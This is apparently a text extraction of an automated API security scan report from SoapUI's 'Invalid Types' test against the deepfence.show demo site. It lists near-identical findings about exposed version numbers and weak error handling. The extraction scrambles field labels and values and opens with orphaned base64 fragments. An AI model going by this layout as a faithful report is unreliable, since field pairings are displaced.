z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1987
Scan Invalid Types
Severity ERROR
https://deepfence.show/Endpoint
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 255
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1988
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# SoapUI is the best
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1989
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# SoapUI is the best
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1990